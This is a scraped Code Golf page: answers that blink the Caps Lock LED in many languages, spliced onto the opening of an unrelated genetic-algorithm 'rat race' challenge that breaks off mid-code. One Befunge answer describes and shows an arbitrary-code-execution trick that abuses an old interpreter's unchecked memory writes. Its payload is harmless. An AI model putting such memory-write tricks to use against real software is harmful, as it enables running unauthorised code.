>+00p9p:v:"l'"*2"^D"4"l3"*2"^D"4"l"*54*2"^D"4"l"*2+94*2"^D"< ^1:g00-4_5"u1"*-:1+:1+"@"\0p"%"5*\0p"P"\0p@ Sleep kernel32.dll keybd_event user32.dll ``` Now normally you wouldn't expect this sort of challenge to be possible in a Befunge, but BEF32 is a Win32 port of a very old version of the reference implementation, and back then there was no bounds checking on the `p` (put) command. This effectively allows us to write to any location in memory, which ultimately lets us force the interpreter to execute arbitrary machine code. Now we can't actually alter any of the existing code, since the .text section of the executable won't have write permissions. However, we can trick the system into executing an address in the .data section, by writing that address into the the runtime library's `atexit` table (at least I suspect that's what it is). The end result is that our code is automatically executed when the interpreter exits. This relies on the fact that the executable is loaded at a fixed address, so we know exactly where everything is in memory - it assumedly wouldn't work if you overrode the default [ASLR](https://en.wikipedia.org/wiki/Address_space_layout_randomization#Microsoft_Windows) settings. It also relies on the .data section being executable, despite not having the executable attribute set, so again it most likely wouldn't work if you overrode the default [DEP](https://en.wikipedia.org/wiki/Executable_space_protection) settings. The code itself is essentially a copy of [Mego](https://codegolf.stackexchange.com/users/45941/mego)'s `keybd_event` technique translated into machine code: ``` 6823B84000 push "keybd_event" 682FB84000 push "user32.dll" 6810B84000 push "Sleep" 6816B84000 push "kernel32.dll" BB02000000 mov ebx,2 initloop: 89C7 mov edi,eax FF1594D14000 call LoadLibraryA 50 push eax FF1590D14000 call GetProcAddressA 4B dec ebx 75EE jnz initloop 89C6 mov esi,eax flashloop: 6A00 push 0 6A01 push 1 6A45 push 69 6A14 push 20 FFD6 call esi 6A00 push 0 6A03 push 3 6A45 push 69 6A14 push 20 FFD6 call esi 68F4010000 push 500 FFD7 call edi EBE3 jmp flashloop ``` This version of the code continues flashing forever (or at least until you kill the process), since that turned out to be easier to golf than a single flash. And since everyone is posting animations, this is an approximation of what it looks like on my keyboard. ![Animation of the capslock light flashing](https://i.stack.imgur.com/pBQTU.gif) [Answer] # AutoHotkey, ~~29~~ 26 bytes *Thanks to @Dane for saving 3 bytes* ``` Loop{ Send,{VK14} Sleep,500 } ``` I originally chose `NumLock` because it's one character shorter than `CapsLock`. The GIF below reflects that condition. It's the same effect as the altered code above. I could have gone with `VK90` above to make the GIF still be accurate but aligning with the original challenge felt better. [![BlinkingNumLock](https://i.stack.imgur.com/Lkzpu.gif)](https://i.stack.imgur.com/Lkzpu.gif) --- In honor of [mbomb007's comment](https://codegolf.stackexchange.com/questions/110974/blink-the-caps-lock#comment270217_110974), here's a morse code message in **239 bytes**: ``` s:=000090901009011091100110090111109111901090190110901109091000091001101909101191000911190190109100001090191010919111901091011 Loop,123{ StringMid,c,s,A_Index,1 IfEqual,c,9 { Sleep,2000 Continue } Send,{NumLock} Sleep,%c%500 Send,{NumLock} Sleep,500 } ``` Here are the first 30 seconds of that message: [![MorseCodeBlinking](https://i.stack.imgur.com/n6wHI.gif)](https://i.stack.imgur.com/n6wHI.gif) [Answer] # [GFA-Basic 3.51](https://en.wikipedia.org/wiki/GFA_BASIC) (Atari ST), ~~61 56 43~~ 35 bytes This code will make the floppy drive LED blink forever at the required rate (`PAUSE 25` = pause for 25 / 50 second). This would probably be shorter in assembly, but I don't have the appropriate tools at my fingertips. This is the size of the GFA-Basic listing once saved in .LST format and manually edited to remove useless whitespace, rename instructions to shorter strings and replace each `CR+LF` with a simple `CR`. Note that a final `CR` is required. ``` DO i=i XOR2 SP &HFF8802,i PA 25 LO ``` Will automatically expand to: ``` DO i=i XOR 2 SPOKE &HFF8802,i PAUSE 25 LOOP ``` `SPOKE` is a supercharged `POKE` that first puts the 68000 in *supervisor* mode, so that it's allowed to access restricted memory areas (here: the *register write* address of the YM2149 soundchip, which is also responsible for some other I/O). And yes: the LED is physically located on the keyboard ... I suppose. [![ST Floppy LED](https://i.stack.imgur.com/LbkPc.gif)](https://i.stack.imgur.com/LbkPc.gif) *I don't have access to a real ST right now, so this is just a mockup.* [Answer] # [fish](https://fishshell.com) + [ckb](https://github.com/ccMSC/ckb), ~~56~~ 54 bytes ``` while cd;echo rgb (random)|tee /d*/*/*/c*;sleep .5;end ``` Blinks my entire keyboard in random colors, though since the number isn't 6 hex digits long it's a bit limited. ![](https://i.stack.imgur.com/MSCNP.gif) And yes, that shell glob is potentially dangerous. Works On My Machine™ Bonus script, 8 months later: This will go through all colors. Not golfed. ``` #!/usr/bin/fish while true echo rgb (printf '%06x' (random 0 16777215)) | tee /dev/input/ckb*/cmd > /dev/null sleep 0.5 end ``` [Answer] # Bash + amixer, 45 Bytes ``` a() { amixer set Master toggle } a;sleep .5;a ``` Blinks the mute light on my keyboard. [![](https://i.stack.imgur.com/4S4s2.gif)](https://i.stack.imgur.com/4S4s2.gif) [Answer] ## C (Windows), 79 bytes ``` #include<windows.h> k(n){keybd_event(20,69,n,0);}f(){k(1);k(3);Sleep(500);f();} ``` ### Explanation [`keybd_event`](https://msdn.microsoft.com/en-us/library/ms646304%28VS.85%29.aspx) is a (deprecated) Windows API function to send a keyboard event (keyup or keydown). `20` is the code for the Caps Lock key, `69` is the hardware scan code (I have no idea what that means), and `1` means keydown and `3` means keyup. A keypress is simulated by sending a keydown event immediately followed by a keyup event. One keypress is sent to turn on Caps Lock, then the program sleeps for 500 milliseconds, and then another keypress is sent to turn Caps Lock back off. Thanks to Steadybox for a bunch of bytes saved [Answer] ## x86 machine code for PC (e.g. MS-DOS COM file), 27 bytes This machine code (displayed here with a Unicode rendering of the usual CP437 of PC BIOS) will blink the CAPS LOCK indicator forever on a PC: ``` j@▼î▐j`Z░φεê╪εÇ≤♦╞♦◙Ç<☺t∩δ∙ ``` The code has been made so it contains no NULL bytes, and can thus be typed with the keyboard (using the Alt+XXX trick for extended characters) to create a COM file (e.g., using the `COPY CON blink.com` command under MS-DOS, in which case the output file will have to contain a spurious 28th byte, the `^Z` (EOF) character required to stop the copy operation). The effect is achieved by directly sending commands to the keyboard controller of the PC (port 60h) to set the LED state (as a side-effect, it might set Num Lock and Scroll Lock LEDs to a random non-blinking state). The timing, to minimize the number of instructions, is achieved by using the countdown timer maintained by the BIOS at address `0040:0040` (it decrements every 54.925 ms, with 9 cycles the blinking cycle is 494.3 ms, which is within the allowed margin) — this counter is normally used by the BIOS to stop the floppy disk motor; as the floppy drive is not used by the program and the code is assumed to run in a single-task environment (e.g. DOS), playing with the floppy motor timer is not an issue. The code runs fine under MS-DOS (tried with VirtualBox, it should also run fine on real hardware, although I didn't have the time yet to make a bootable MS-DOS USB stick to test). As it doesn't rely on any OS functions, it can even run without the operating system (e.g., by placing it in the boot sector of a disk). It requires at least a 80186 processor to run, because of the "immediate push" instructions used to shorten the code of some bytes. Assembly source code: ``` PUSH 0x40 ; pushes 0x0040 (BIOS data segment) on the stack POP DS ; pops it into DS segment selector MOV SI, DS ; copies DS to SI (timer counter is nicely placed at 40:40) PUSH 0x60 ; pushes 0x0060 (kbd controller port) on the stack POP DX ; pops it to DX loop: MOV AL, 0xED ; 8042 keyboard controller 'set mode indicators' command OUT DX, AL ; outputs the command to the keyboard contr oller MOV AL, BL ; copy BL register to AL OUT DX, AL ; outputs LED state to keyboard controller XOR BL, 4 ; toggles bit 2 (CAPS LOCK) for next iteration MOV BYTE PTR[SI], 0x0A ; sets floppy motor countdown timer to 10 wait: CMP BYTE PTR[SI], 0x01 ; checks if timer reached 1 JE loop ; if yes, time for next iteration JMP wait ; if not, checks again ``` Hexadecimal dump of the assembled code: ``` 6A 40 1F 8C DE 6A 60 5A B0 ED EE 88 D8 EE 80 F3 04 C6 04 0A 80 3C 01 74 EF EB F9 ``` Here is the result running under MS-DOS in VirtualBox (doesn't work with DosBox, presumably because the keyboard controller is not completely emulated): [![Blinking CAPS LOCK](https://i.stack.imgur.com/vYaEP.gif)](https://i.stack.imgur.com/vYaEP.gif) (sorry for the shaky video). [Answer] # MATLAB, ~~146~~ ~~136~~ 70 *Thanks to [@Poke](https://codegolf.stackexchange.com/users/51785/poke) for removing 66 bytes!* ``` r=java.awt.Robot;while 1 r.keyPress(20) r.keyRelease(20) pause(.5);end ``` This uses Matlab's ability to call Java classes. The Caps Lock light is blinked in a loop by programmatically pressing and releasing `Caps Lock`. [Video or it didn't happen](https://youtu.be/QFBwFunc9qs). [Answer] # SmileBASIC, ~~36~~ 23 bytes ``` XON MIC WAIT 30XOFF MIC ``` Blinks the microphone status light. (video coming soon) [Answer] # Python2 - 108 bytes Does the capslock key. Interestingly, this actually turns on just the LED itself without affecting the keyboard or pressing the key. You can change the `4` at the end to `2` to do numlock. `6` does both. ``` import fcntl,os,time;exec"fcntl.ioctl(os.open('/dev/console',os.O_NOCTTY),19250,%d);time.sleep(.5);"*2%(4,0) ``` [Answer] # shell+numlockx, ~~40~~ 35 bytes [Saved 5 bytes thanks to Ryan.] Continually blinks the NumLock light on unixish systems. ``` numlockx toggle;sleep .5;exec sh $0 ``` # Single blink, 33 bytes ``` numlockx on;sleep .5;numlockx off ``` [Answer] # [PowerShell](https://github.com/PowerShell/PowerShell), 71 bytes ``` for(){(New-Object -c WScript.Shell).SendKeys('{NUMLOCK}');sleep -m 500} ``` ### Notes * Blinks forever * Uses `NUM LOCK` to save a byte. [Answer] # VBS, 75 bytes ``` do wscript.sleep 500 Createobject("wscript.shell").sendkeys"{numlock}" loop ``` Repeatedly blinks Num Lock key, as `numlock` is 1 byte shorter than `capslock`. [Answer] ## C#, ~~215~~ ~~202~~ ~~198~~ ~~195~~ 185 bytes ~~Without realising I have done the "same" code as [this answer by @Mego](https://codegolf.stackexchange.com/a/110985/38550), go check it out!.~~ ``` [System.Runtime.InteropServices.DllImport("user32")]static extern void keybd_event(int v,int s,int f,int e);n=>{for(n=0;;System.Threading.Thread.Sleep(125))keybd_event(20,69,n++&2,0);}; ``` *Saved 13 bytes thanks to @Metoniem* *Saved 10 bytes thanks to @VisualMelon* Here's a full formatted version showing it working: ``` class P { [System.Runtime.InteropServices.DllImport("user32")] static extern void keybd_event(int v, int s, int f, int e); static void Main() { System.Action<int> a = n => { for (n = 0; ; System.Threading.Thread.Sleep(125)) keybd_event(20, 69, n++ & 2, 0); }; a(0); } } ``` --- For bonus fun change `n++ & 2` to `n+=2 & 2` and watch the num lock and caps lock keys alternate in flashing on and off. I have no idea why that happens because it shouldn't but it looks "cool". [Answer] # Java 7, ~~121~~ ~~118~~ 113 bytes ``` void a()throws Exception{java.awt.Robot r=new java.awt.Robot();r.keyPress(20);r.delay(500);r.keyRelease(20);a();} ``` A single press and release just triggers the state; it doesn't blink it. Thus we may as well loop it and it looks like recursion is the cheapest manner of doing that. [Answer] # Linux terminal, 8+11 = 19 bytes ![demo](https://i.stack.imgur.com/l4vcn.gif) File `f` = `1B 5B 33 71 1B 5B 30 71` `native@shell:~$` `pv f -q -L8` ## WAT? According to [ECMA-48](https://en.wikipedia.org/wiki/ANSI_escape_code), `1B` starts terminal control escape sequence. Caps on =`1B 5B 33 71`, then off = `1B 5B 30 71` `pv` progress view `f` file `-q` quiet `-L8` 8 bytes/s = 0.5 sec delay ## Usage Prepare ``` #Create file echo "1B 5B 33 71 1B 5B 30 71"|xxd -r -p > f #Install progress view utility sudo apt install pv ``` `Ctrl`+`Alt`+`F6` switch to native console run `pv f -q -L8` `Ctrl`+`Alt`+`F7` switch back [Answer] **JavaScript, 82 bytes** **Credit goes to @FinW** actually, I just changed old function to new ES6 arrow function in order to save some bytes. And becuase I don't have enough points to comment I wrote a new reply. Edit - deleted brackets to save another 2 bytes. ``` o=new ActiveXObject("WScript.Shell");setInterval(()=>o.SendKeys("{NUMLOCK}"),500); ``` His code looked like this ``` o=new ActiveXObject("WScript.Shell");setInterval(function(){o.SendKeys("{NUMLOCK}")},500); ``` [Answer] # Scala, 84 83 78 bytes ### Edit: Saved 1 byte thanks to @TheLethalCoder, He suggested using `1>0` in place of `true`. ### Edit 2: Saved 5 bytes thanks to @Corvus\_192, He suggested using infix notation and dropping the parentheses after the constructor ``` while(1>0){val r=new java.awt.Robot;r keyPress 20;r keyRelease 20;r delay 500} ``` ## Ungolfed: ``` while(1>0) { val r=new java.awt.Robot() r.keyPress(20) r.keyRelease(20) r.delay(500) } ``` Standard Scala port of [@Poke](https://codegolf.stackexchange.com/users/51785/poke)'s Java [answer](https://codegolf.stackexchange.com/a/110983/48620). Type it directly into the Scala interpreter prompt. A video of it blinking both my Caps Lock LED and my OSD to boot! ![Blinking Caps Lock LED and OSD](https://i.stack.imgur.com/gxC8e.gif) [Answer] **Bash, 31 bytes** ``` xset led 1;sleep .5;xset -led 1 ``` Works in X, without root access ! (If it does not work for you, see the init function of the code below to make sure xkbcomp is configured correctly) And a bonus script to send any morse code through caps lock (not golfed) : ``` unit=0.15 id=1 function init { file=/tmp/blink_tmp xkbcomp $DISPLAY $file sed -i 's/!allowExplicit/allowExplicit/' $file xkbcomp $file $DISPLAY &>/dev/null rm $file } if [[ -z $1 ]]; then echo "Usage : blink [message]" exit 1 fi init function finish { off } function on { #su -c 'setleds -L +caps < /dev/console' xset led $id } function off { #su -c 'setleds -L -caps < /dev/console' xset -led $id } function slp { sleep $(echo "$unit*$1" | bc) } function dot { on slp 1 off slp 1 } function dash { on slp 3 off slp 1 } function gap { slp 3 } function morse { msg=$1 for (( i=0; i<${#msg}; i++ )); do char=${msg:$i:1} if [[ $char == "-" ]]; then dash elif [[ $char == "." ]]; then dot elif [[ $char == "/" ]]; then gap fi done } while true; do morse $1 done ``` Exemple : `blink "...././.-../.-../---//.--/---/.-./.-../-..///"` [Answer] **Bash + Xdotool, 36 bytes** ``` for((;;)){ xdotool key 66;sleep .5;} ``` Just execute it in a bash shell. It needs to be in a graphical environment. Infinite loop from [here](https://codegolf.stackexchange.com/questions/15279/tips-for-golfing-in-bash). Changed Num\_Lock to 66 to save 6 bytes, and thanks to @Michael Kjörling for 2 bytes. [Answer] # [xdotool](//semicomplete.com/projects/xdotool/), 20 bytes ``` key -delay=500 66 66 ``` Presses the key **66** aka *Caps Lock* twice, with a delay of **500 ms** between key presses. Note that xdotool is a scripting language; it can be run from a file and it even supports shebangs. Since its `exec` command allow running external programs, it is capable of addition and primality testing, so it satisfies our definition of programming language. ### Test run ``` $ cat blink.xdo; echo key -delay=500 66 66 $ xdotool blink.xdo ``` [![enter image description here](https://i.stack.imgur.com/vX4cp.gif)](https://i.stack.imgur.com/vX4cp.gif) [Answer] # Python using pyautogui: 126 143 115 103 bytes *Thanks to @nedla2004 for saving 12 bytes* ``` from pyautogui import* import time while 1:keyDown('capslock');time.sleep(.5);keyUp('capslock')pslock') ``` [Answer] # Bash + [setleds](https://github.com/damieng/setledsmac), 43 bytes ``` setleds -D +caps;sleep 0.5;setleds -D -caps ``` Pretty simple. Uses `setleds` to toggle the light. [Answer] # Bash, 103 bytes ``` cd /sys/class/leds/asus\:\:kbd_backlight;while true;do echo 3;sleep .5;echo 0;sleep .5;done>brightness ``` Must be run as root. Does flashing the entire keyboard backlight work? (video to come when I get home) [Answer] # JavaScript, 90 bytes ``` o=new ActiveXObject("WScript.Shell");setInterval(function(){o.SendKeys("{NUMLOCK}")},500); ``` It requires `ActiveX` meaning it will only run on IE (Edge *doesn't* support it, though). It flashes the NUMLOCK key because, as with other answers, it is shorter than CAPSLOCK or SCROLLLOCK. ## Ungolfed ``` shell = new ActiveXObject("WScript.Shell"); setInterval( function(){ shell.SendKeys("{NUMLOCK}") } ,500); ``` [Answer] # Bash, 33 Bytes This assumes Num-Lock to be on before it is run. Switch `off` and `on` otherwise. Requires the `numlockx` package obviously ;) ``` numlockx off;sleep .5;numlockx on ``` **Edit:** Saw Alex Howansky has already posted this solution, yet not marked it with Bash and I just searched the site for "Bash". [Answer] # Batch File (With help of vbs), 74+2=76 bytes ``` echo Createobject("wscript.shell").sendkeys"{numlock}">z.vbs&z&timeout 1&z ``` Partially based on [Trelzevir's answer](https://codegolf.stackexchange.com/a/110978). `.vbs` is automatically included in `PATHEXT`. [Answer] # [C (msvc)](https://visualstudio.microsoft.com/vs/features/cplusplus/) + Win32, 51 bytes ``` main(i){main(i+keybd_event(20,69,i%4,Sleep(125)));} ``` [![enter image description here](https://i.stack.imgur.com/8wma5.gif)](https://i.stack.imgur.com/8wma5.gif) [Answer] ## Kotlin Script, 72 bytes While not smallest one, still it's pretty good. I'm loving kotlin's *run* for some things, and this is one of them ( smaller than val r = java.awt.Robot() because we don't need both r. and val r =. Still, it's longer than MathLab ) ``` java.awt.Robot().run{while(1>0){keyPress(20);keyRelease(20);delay(500)}} ``` ## Ungolfed: ``` java.awt.Robot().run { while(1>0) { keyPress(20) keyRelease(20) delay(500) } } ``` [Answer] # Python3 , 55 49 bytes *Thank you @NoOneIsHere for -4 bytes!* This includes packages: [pyautogui](http://pyautogui.readthedocs.io/en/latest/install.html) and `time` modules Code: ``` while(1):pag.press("capslock");time.sleep(0.5) ``` Thank you @NoOneIsHere for -4 bytes! The key in action: [![Caps Lock](https://media.giphy.com/media/ckihNChuUTohW/giphy.gif)](https://media.giphy.com/media/ckihNChuUTohW/giphy.gif) ]
[Question] [ This is [**Fortnightly Challenge #3.**](http://meta.codegolf.stackexchange.com/q/3578/8478) Theme: **Genetic Algorithms** *This challenge is a bit of an experiment. We wanted to see what we could do, challenge-wise, with genetic algorithms. Not everything may be optimal, but we tried our best to make it accessible. If this works out, who knows what we might see in the future. Maybe a genetic King of the Hill?* > > **The spec is quite long!** We've tried to separate the spec into The Basics - the bare minimum you need to know to start playing with the framework and submit an answer - and The Gory Details - the full spec, with all details about the controller, based on which you could write your own. > > **If you have any questions whatsoever, feel free to [join us in chat!](http://chat.stackexchange.com/rooms/20121/weekly-challenge-of-2015-01-09-genetic-algorithms)** > > > You're a researcher in behavioural psychology. It's Friday evening and you and your colleagues decide to have some fun and use your lab rats for a little rat race. In fact, before we get too emotionally attached to them, let's call them *specimens*. You have set up a little race track for the specimens, and to make it more interesting, you've put a few walls and traps and teleporters across the track. Now, your specimens are still rats... they have no idea what a trap or a teleporter is. All they see is some things in different colours. They also don't have any sort of memory - all they can do is make decisions based on their current surroundings. I guess natural selection will pick out the specimens that know how to avoid a trap from those that don't (this race is going to take a while...). Let the games begin!† ![Example image of board in use](https://i.stack.imgur.com/Wyn93.gif "colour coded for humans with red for killer squares and blue for teleport squares - the specimens will see a jumble of all 16 colours...") † 84,465 specimens were harmed in the making of this challenge. ## The Basics This is a single-player game (you and your colleagues didn't want to mix up the populations so each one built their own race track). The race track is a rectangular grid, **15** cells tall and **50** cells wide. You start with 15 specimens on random (not necessarily distinct) cells on the left edge (where *x = 0*). Your specimens should try to reach the goal which is any cell at *x ≥ 49* and *0 ≤ y ≤ 14* (the specimens may overshoot the track to the right). Each time this happens, you get a point. You also start the game with 1 point. You should try to maximise your points after **10,000** turns. Multiple specimens may occupy the same cell and will not interact. At each turn, each specimen sees a 5x5 grid of their surroundings (with itself in the centre). Each cell of that grid will contain a colour `-1` to **`15`**. `-1` represents cells that are out of bounds. Your specimen dies if it moves out of bounds. As for the other colours, they represent empty cells, traps, walls and teleporters. But your specimen doesn't know which colour represents what and neither do you. There are some constraints though: * **8** colours will represent empty cells. * **4** colours will represent a teleporter. A teleporter will send the specimen to a certain cell within its 9x9 neighbourhood. This offset will be the same for all teleporters of the same colour. * **2** colours will represent walls. Moving into a wall is the same as standing still. * **2** colours will represent a trap. A trap indicates that *one* of the 9 cells in its immediate neighbourhood is lethal (not necessarily the trap cell itself). This offset will be the same for all traps of the same colour. Now, about that natural selection... each specimen has a genome, which is a number with **100** bits. New specimens will be created by cross-breeding two existing specimens, and then mutating the genome slightly. The more successful a specimen, the bigger its chance of reproducing. **So here is your task:** You will write a single function, which receives as input the 5x5 grid of colours a specimen sees, as well as its genome. Your function will return a move (Δx, Δy) for the specimen, where Δx and Δy will each be one of `{-1, 0, 1}`. You must not persist any data between function calls. This includes using your own random number generators. Your function will be provided with a seeded RNG which you are free to use as you want. Your submission's score will be the *[geometric mean](http://en.wikipedia.org/wiki/Geometric_mean)* of the number of points across **50** random tracks. We have found that this score is subject to a fair bit of variance. Therefore, these scores will be *preliminary*. Once this challenge dies down, a deadline will be announced. At the end of the deadline, 100 boards will be chosen at random, and all submissions will be rescored on these 100 boards. Feel free to put an estimated score in your answer, but we will score every submission ourselves to ensure no one cheats. We have provided controller programs in a handful of languages. Currently, you can write your submission in **Python** (2 or 3), **Ruby**, **C++**, **C#** or **Java**. The controller generates the boards, runs the game and provides a framework for the genetic algorithm. All you have to do is provide the moving function. > > ### Wait, so what exactly do I do with the genome? > > > The challenge is to figure that out! > > > Since the specimens have no memory, all you've got in a given turn is a 5x5 grid of colours that don't mean anything to you. So you'll have to use the genome to reach the goal. The general idea is that you use parts of the genome to store information about the colours or the grid layout, and your bot bases its decisions on the additional information stored in the genome. > > > Now, of course you can't actually store anything there manually. So the actual information stored there will initially be completely random. But the genetic algorithm will soon select those specimens whose genome contains the right information while killing off those which have the wrong information. Your goal is to find a mapping from the genome bits and your field of view to a move, which allows you to find a path to the goal quickly and which consistently evolves to a winning strategy. > > > This should be enough information to get you started. If you want, you can skip the next section, and select your controller of choice from the list of controllers at the bottom (which also contains information about how to use that particular controller). Read on if you want all... ## The Gory Details This specification is complete. All controllers have to implement these rules. All randomness uses a uniform distribution, unless stated otherwise. **Track generation:** * The track is a rectangular grid, *X = 53* cells wide and *Y = 15* cells tall. Cells with *x ≥ 49* are *goal cells* (where *x* is zero-based). * Each cell has a single colour and may or may not be *lethal* - cells are not lethal unless specified by one of the cell types below. * There are *16* different cell colours, labelled from `0` to `15`, whose meaning will change from game to game. In addition, `-1` represents cells that are out of bounds - these are *lethal*. * Choose **8 random colours**. These will be empty cells (which have no effect). * Choose **4 more random colours**. These are teleporters. For two of these colours, choose a non-zero offset in the **9x9** neighbourhood (from (-4,-4) to (4,4) except (0,0)). For the other two colours, invert those offsets. If a specimen steps on a teleporter it is immediately moved by that offset. * Choose **2 more random colours**. These are traps. For each of these colours, choose an offset in the 3x3 neighbourhood (from (-1,-1) to (1,1)). A trap indicates that the cell at that offset is *lethal*. *Note:* The trap cell itself is not necessarily lethal. * The **2 remaining colours** are walls, which impede movement. Attempting to move onto a wall cell will turn the move into staying still. Wall cells themselves are *lethal*. * For each non-goal cell of the grid, choose a random colour. For each goal cell choose a random *empty* colour. * For each cell at the left edge of the track, determine whether the goal can be reached within *100* turns (according to the *turn order* rules below). If so, this cell is an admissible *starting cell*. If there are less than 10 starting cells, discard the track and generate a new one. * Create *15* specimens, each with a random genome and age *0*. Place each specimen on a random starting cell. **Turn order:** 1. The following steps will be performed, in order, for each specimen. Specimens do not interact or see each other, and may occupy the same cell. 1. If the specimen's age is *100*, it dies. Otherwise, increment its age by 1. 2. The specimen is given its field of view - a 5x5 grid of colours, centred on the specimen - and returns a move in its 3x3 neighbourhood. Moves outside this range will cause the controller to terminate. 3. If the target cell is a wall, then the move is changed to (0,0). 4. If the target cell is a teleporter, the specimen is moved by the teleporter's offset. *Note:* This step is performed *once*, not iteratively. 5. If the cell currently occupied by the specimen (potentially after using one teleporter) is *lethal* the specimen dies. This is the *only* time specimens die (apart from step 1.1. above). In particular, a new specimen which spawns on a lethal cell will not die immediately, but has a chance to move off the dangerous cell first. 6. If the specimen occupies a goal cell, score a point, move the specimen to a random *starting cell* and reset its age to 0. 2. If there are less than two specimens left on the board, the game ends. 3. Create *10* new specimens with age *0*. Each genome is determined (individually) by the breeding rules below. Place each specimen on a random starting cell. **Breeding:** * When a new specimen is created choose two *distinct* parents at random, with a bias towards specimens which have progressed further to the right. The probability of a specimen to be chosen is proportional to its current *fitness score*. A specimen’s fitness score is *1 + x + 50 \* number of times it reached the goal* where *x* is the 0-based horizontal index. Specimens created in the same turn cannot be chosen as parents. * Of the two parents, choose a random one to take the first genome bit from. * Now as you walk along the genome, switch parents with a probability of *0.05*, and keep taking bits from the resulting parent. * Mutate the fully assembled genome: for each bit, flip it with probability *0.01*. **Scoring:** * One game lasts *10,000* turns. * Players start the game with 1 point (to allow use of the geometric mean). * Every time a specimen reaches the goal, the player scores a point. * For now, each player's submission will be run for *50* games, each with a different random track. * The above approach results in more variance than is desirable. Once this challenge dies down, a deadline will be announced. At the end of the deadline, 100 boards will be chosen at random, and all submissions will be rescored on these 100 boards. * A player's overall score is the *[geometric mean](http://en.wikipedia.org/wiki/Geometric_mean)* of the scores of these individual games. ## The Controllers You may choose any of the following controllers (as they are functionally equivalent). We have tested all of them, but if you spot a bug, want improve the code or performance, or add a feature like graphical output, please do send raise an issue or send a pull request on GitHub! You're also welcome to add a new controller in another language! Click the language name for each controller to get to the right directory on GitHub, which contains a `README.md` with exact usage instructions. If you're not familiar with git and/or GitHub, you can download the entire repository as a ZIP [from the front page](https://github.com/mbuettner/ppcg-genetic-algorithms) (see the button in the sidebar). ### [Python](https://github.com/mbuettner/ppcg-genetic-algorithms/tree/master/python) * Most thoroughly tested. This is our reference implementation. * Works with both Python 2.6+ and Python 3.2+! * It's very slow. We recommend running it with [PyPy](http://pypy.org/) for a substantial speedup. * Supports graphical output using either `pygame` or `tkinter`. ### [Ruby](https://github.com/mbuettner/ppcg-genetic-algorithms/tree/master/ruby) * Tested with Ruby 2.0.0. Should work with newer versions. * It's also fairly slow, but Ruby may be convenient for prototyping an idea for a submission. ### [C++](https://github.com/mbuettner/ppcg-genetic-algorithms/tree/master/c%2B%2B) * Requires C++11. * Optionally supports multithreading. * By far the fastest controller in the bunch. ### [C#](https://github.com/mbuettner/ppcg-genetic-algorithms/tree/master/csharp) * Uses LINQ, so it requires .NET 3.5. * Rather slow. ### [Java](https://github.com/mbuettner/ppcg-genetic-algorithms/tree/master/java/src/game) * Not particularly slow. Not particularly fast. ## Preliminary Leaderboard All scores are preliminary. Nevertheless, if something is plain wrong or out of date, please let me know. Our example submission is listed for comparison, but not in contention. ``` Score | # Games | User | Language | Bot =================================================================================== 2914.13 | 2000 | kuroi neko | C++ | Hard Believers 1817.05097| 1000 | TheBestOne | Java | Running Star 1009.72 | 2000 | kuroi neko | C++ | Blind faith 782.18 | 2000 | MT0 | C++ | Cautious Specimens 428.38 | | user2487951 | Python | NeighborsOfNeighbors 145.35 | 2000 | Wouter ibens | C++ | Triple Score 133.2 | | Anton | C++ | StarPlayer 122.92 | | Dominik Müller | Python | SkyWalker 89.90 | | aschmack | C++ | LookAheadPlayer 74.7 | | bitpwner | C++ | ColorFarSeeker 70.98 | 2000 | Ceribia | C++ | WallGuesser 50.35 | | feersum | C++ | Run-Bonus Player 35.85 | | Zgarb | C++ | Pathfinder (34.45) | 5000 | Martin Büttner | <all> | ColorScorePlayer 9.77 | | DenDenDo | C++ | SlowAndSteady 3.7 | | flawr | Java | IAmARobotPlayer 1.9 | | trichoplax | Python | Bishop 1.04 | 2000 | fluffy | C++ | Gray-Color Lookahead ``` ## Credits This challenge was a huge collaborative effort: * **Nathan Merril:** Wrote Python and Java controllers. Turned the challenge concept from a King-of-the-Hill into a Rat Race. * **trichoplax:** Playtesting. Worked on Python controller. * **feersum:** Wrote C++ controller. * **VisualMelon:** Wrote C# controller. * **Martin Büttner:** Concept. Wrote Ruby controller. Playtesting. Worked on Python controller. * **T Abraham:** Playtesting. Tested Python and reviewed C# and C++ controller. All of the above users (and probably a couple more I forgot) have contributed to the overall design of the challenge. ### C++ controller update If you are using the C++ with Visual Studio and multithreading, you should get the [latest update](https://github.com/mbuettner/ppcg-genetic-algorithms/commit/b373946f22a47b6397bd7c558fc7216ef1b0107a) because of a bug with their random number generator seeding which allows duplicate boards to be produced. [Answer] # Blind faith - C++ - seems to score above 800(!) over 2000 runs Color coding genome with a mysterious track feedback and an effective wall-banging deterrent ``` #include "./gamelogic.cpp" #define NUM_COLORS 16 // color meanings for our rats typedef enum { good, bad, trap } colorType_t; struct colorInfo_t { colorType_t type; coord_t offset; // trap relative location colorInfo_t() : type(good) {} // our rats are born optimists }; // all 8 possible neighbours, carefully ordered coord_t moves_up [] = { { 1, 0 }, { 1, 1 }, { 1, -1 }, { 0, 1 }, { 0, -1 }, { -1, 0 }, { -1, 1 }, { -1, -1 } }; // toward the goal, going up first coord_t moves_down[] = { { 1, 0 }, { 1, -1 }, { 1, 1 }, { 0, -1 }, { 0, 1 }, { -1, 0 }, { -1, -1 }, { -1, 1 } }; // toward the goal, going down first // map of the surroundings struct map_t { static const size_t size = 5; static const int max = size / 2; static const int min = -max; colorType_t map[size*size]; colorType_t & operator() (int x, int y) { return map[(x + max)*size + y + max]; } colorType_t & operator() (coord_t pos) { return operator()(pos.x, pos.y); } bool is_inside(int x, int y) { return abs(x) <= max && abs(y) <= max; } bool is_inside(coord_t pos) { return is_inside(pos.x,pos.y); } }; // trap mapping info struct trap_t { coord_t detector; colorInfo_t color; trap_t(int x, int y, colorInfo_t & color) : color(color) { detector.x = x; detector.y = y; } trap_t() {} }; coord_t blindFaith(dna_t d, view_t v) { colorInfo_t color[NUM_COLORS]; // color informations // decode colors for (size_t c = 0; c != 16; c++) { size_t base = c * 4; if (d[base]) { color[c].type = d[base+1] ? good : bad; } else // decode trap location { color[c].type = trap; int offset = d[base+1] + 2 * d[base+2] + 4 * d[base+3]; color[c].offset = moves_up[offset]; // the order is irrelevant as long as all 8 neighbours are listed } } // build a map of the surrounding cells map_t map; unsigned signature = 0; int i = 0; for (int x = map.min; x <= map.max; x++) for (int y = map.min; y <= map.max; y++) { int c = v(x, y); map(x, y) = (c == -1) ? bad : color[c].type; if (c != -1) signature ^= v(x, y) << ((i++) % 28); } // map traps for (int x = map.min; x <= map.max; x++) for (int y = map.min; y <= map.max; y++) { if (map(x, y) != trap) continue; const colorInfo_t & trap = color[v(x, y)]; int bad_x = x + trap.offset.x; int bad_y = y + trap.offset.y; if (!map.is_inside(bad_x, bad_y)) continue; map(bad_x, bad_y) = bad; 